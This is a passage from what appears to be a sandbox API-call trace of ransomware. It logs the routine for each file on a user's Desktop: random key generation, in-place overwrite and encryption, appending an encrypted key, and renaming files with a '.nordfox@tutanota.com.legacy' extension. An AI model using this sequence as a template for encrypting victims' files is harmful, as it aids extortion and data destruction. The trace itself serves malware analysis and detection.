lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.522] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.522] CloseHandle (hObject=0x5e4) returned 1 [0111.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0111.523] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\Y2jBPS-jbkI wKG8.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\y2jbps-jbki wkg8.jpg"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\Y2jBPS-jbkI wKG8.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\y2jbps-jbki wkg8.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8648 | out: hHeap=0x520000) returned 1 [0111.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9768 | out: hHeap=0x520000) returned 1 [0111.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9700 | out: hHeap=0x520000) returned 1 [0111.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0111.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0111.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0111.526] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\XkKhCU sv1QB.mp3", dwFileAttributes=0x80) returned 1 [0111.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0111.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7ac8 [0111.526] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0111.527] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\XkKhCU sv1QB.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\xkkhcu sv1qb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.527] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=31748) returned 1 [0111.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7c04) returned 0x5e87c8 [0111.527] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x7c04) returned 0x5f03d8 [0111.527] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e87c8, nNumberOfBytesToRead=0x7c04, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e87c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x7c04, lpOverlapped=0x0) returned 1 [0111.528] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-31748, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.528] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f03d8*, nNumberOfBytesToWrite=0x7c04, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f03d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7c04, lpOverlapped=0x0) returned 1 [0111.528] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87c8 | out: hHeap=0x520000) returned 1 [0111.528] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f03d8 | out: hHeap=0x520000) returned 1 [0111.528] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7c04 [0111.529] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.529] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.529] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.529] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.530] CloseHandle (hObject=0x5e4) returned 1 [0111.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.530] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0111.530] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\XkKhCU sv1QB.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\xkkhcu sv1qb.mp3"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\XkKhCU sv1QB.mp3.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\xkkhcu sv1qb.mp3.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7ac8 | out: hHeap=0x520000) returned 1 [0111.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0111.532] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0111.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0111.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0111.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0111.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0111.532] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\XFAJVVyJEUWSh.doc", dwFileAttributes=0x80) returned 1 [0111.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0111.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7958 [0111.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0111.536] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\XFAJVVyJEUWSh.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\xfajvvyjeuwsh.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.537] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=61182) returned 1 [0111.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xeefe) returned 0x5e9bd0 [0111.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xeefe) returned 0x5f8ad8 [0111.537] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xeefe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xeefe, lpOverlapped=0x0) returned 1 [0111.540] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-61182, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.540] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f8ad8*, nNumberOfBytesToWrite=0xeefe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f8ad8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xeefe, lpOverlapped=0x0) returned 1 [0111.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f8ad8 | out: hHeap=0x520000) returned 1 [0111.541] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xeefe [0111.542] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.542] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.543] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.543] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.543] CloseHandle (hObject=0x5e4) returned 1 [0111.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0111.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0111.544] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\XFAJVVyJEUWSh.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\xfajvvyjeuwsh.doc"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\XFAJVVyJEUWSh.doc.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\xfajvvyjeuwsh.doc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7958 | out: hHeap=0x520000) returned 1 [0111.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0111.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0111.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e6c0 [0111.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0111.547] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0111.547] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0111.547] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0111.547] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\swc8rzeKxjOb-H.mkv", dwFileAttributes=0x80) returned 1 [0111.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57eba0 [0111.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8700 [0111.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57eba0 | out: hHeap=0x520000) returned 1 [0111.548] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\swc8rzeKxjOb-H.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\swc8rzekxjob-h.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.548] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=92286) returned 1 [0111.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1687e) returned 0x5e9bd0 [0111.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1687e) returned 0x2f40050 [0111.550] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x1687e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1687e, lpOverlapped=0x0) returned 1 [0111.554] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-92286, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.554] WriteFile (in: hFile=0x5e4, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x1687e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1687e, lpOverlapped=0x0) returned 1 [0111.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0111.558] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1687e [0111.559] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.559] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.560] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.560] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.560] CloseHandle (hObject=0x5e4) returned 1 [0111.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0111.561] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0111.561] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\swc8rzeKxjOb-H.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\swc8rzekxjob-h.mkv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\swc8rzeKxjOb-H.mkv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\swc8rzekxjob-h.mkv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8700 | out: hHeap=0x520000) returned 1 [0111.562] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e6c0 | out: hHeap=0x520000) returned 1 [0111.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0111.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0111.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0111.563] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35a8 | out: pbBuffer=0x5c35a8) returned 1 [0111.563] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\SoQNWjs.mkv", dwFileAttributes=0x80) returned 1 [0111.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0111.563] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0111.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0111.563] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\SoQNWjs.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\soqnwjs.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.564] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=11218) returned 1 [0111.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2bd2) returned 0x5e9bd0 [0111.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2bd2) returned 0x5ec7b0 [0111.564] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x2bd2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x2bd2, lpOverlapped=0x0) returned 1 [0111.565] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-11218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.565] WriteFile (in: hFile=0x5e4, lpBuffer=0x5ec7b0*, nNumberOfBytesToWrite=0x2bd2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ec7b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2bd2, lpOverlapped=0x0) returned 1 [0111.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ec7b0 | out: hHeap=0x520000) returned 1 [0111.565] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2bd2 [0111.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.565] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.566] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.566] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c35a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c35a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.566] CloseHandle (hObject=0x5e4) returned 1 [0111.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0111.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c35a8 | out: hHeap=0x520000) returned 1 [0111.566] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\SoQNWjs.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\soqnwjs.mkv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\SoQNWjs.mkv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\soqnwjs.mkv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0111.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0111.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0111.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0111.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.570] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: pbBuffer=0x5c5088) returned 1 [0111.571] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0111.571] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\rztQtmpaTSoI.png", dwFileAttributes=0x80) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0111.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e78a0 [0111.571] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0111.571] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\rztQtmpaTSoI.png" (normalized: "c:\\users\\fd1hvy\\desktop\\rztqtmpatsoi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.571] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15915) returned 1 [0111.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3e2b) returned 0x5e9bd0 [0111.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3e2b) returned 0x5eda08 [0111.572] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x3e2b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e2b, lpOverlapped=0x0) returned 1 [0111.573] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-15915, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.573] WriteFile (in: hFile=0x5e4, lpBuffer=0x5eda08*, nNumberOfBytesToWrite=0x3e2b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5eda08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e2b, lpOverlapped=0x0) returned 1 [0111.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.573] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5eda08 | out: hHeap=0x520000) returned 1 [0111.573] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e2b [0111.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.573] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5088*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.573] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c5088*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.574] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.574] CloseHandle (hObject=0x5e4) returned 1 [0111.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.574] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.574] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\rztQtmpaTSoI.png" (normalized: "c:\\users\\fd1hvy\\desktop\\rztqtmpatsoi.png"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\rztQtmpaTSoI.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\rztqtmpatsoi.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x520000) returned 1 [0111.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0111.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0111.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0111.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5088 [0111.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c35a8 [0111.636] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5088 | out: 